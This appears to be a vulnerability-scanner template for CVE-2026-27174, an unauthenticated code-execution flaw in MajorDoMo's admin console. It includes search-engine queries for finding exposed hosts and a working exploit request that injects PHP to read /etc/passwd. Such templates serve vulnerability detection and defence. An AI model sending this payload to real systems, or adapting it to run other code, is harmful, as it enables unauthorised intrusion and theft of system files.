CVE-2026-27174: MajorDoMo - Unauthenticated RCE

id: CVE-2026-27174

info:
  name: MajorDoMo - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
   MajorDoMo contains a remote code execution caused by an include order bug and lack of exit after redirect in admin panel's PHP console, letting unauthenticated attackers execute arbitrary PHP code via crafted GET requests.
  impact: |
   Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full system compromise.
  remediation: |
   Update to the latest version with the fix for the include order bug and proper exit after redirect.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27174
    - https://github.com/sergejey/majordomo/issues/1177
    - https://chocapikk.com/posts/2026/majordomo-revisited
    - https://www.vulncheck.com/advisories/majordomo-unauthenticated-remote-code-execution-via-admin-console-eval
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 10.0
    cve-id: CVE-2026-27174
    epss-score: 0.06996
    epss-percentile: 0.93823
    cwe-id: CWE-94
    cpe: cpe:2.3:a:sergejey:majordomo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sergejey
    product: majordomo
    fofa-query: body="templates/application.html"
    shodan-query: http.html:"templates/application.html"
  tags: cve,cve2026,rce,majordomo,php,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'MajordomoSL', 'templates/application.html', 'majordomo')"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin.php?ajax_panel=1&op=console&command=echo+file_get_contents%28%27%2Fetc%2Fpasswd%27%29%3B HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220622c8d29fa0c2ccc24869251c457b363376f9e0f283a1aea9e0c80de57cc0abd022100f60334a5a29b184956345514cda242501663f3ff61f28c0150e41fbf1973f482:922c64590222798bb761d5b6d8e72950

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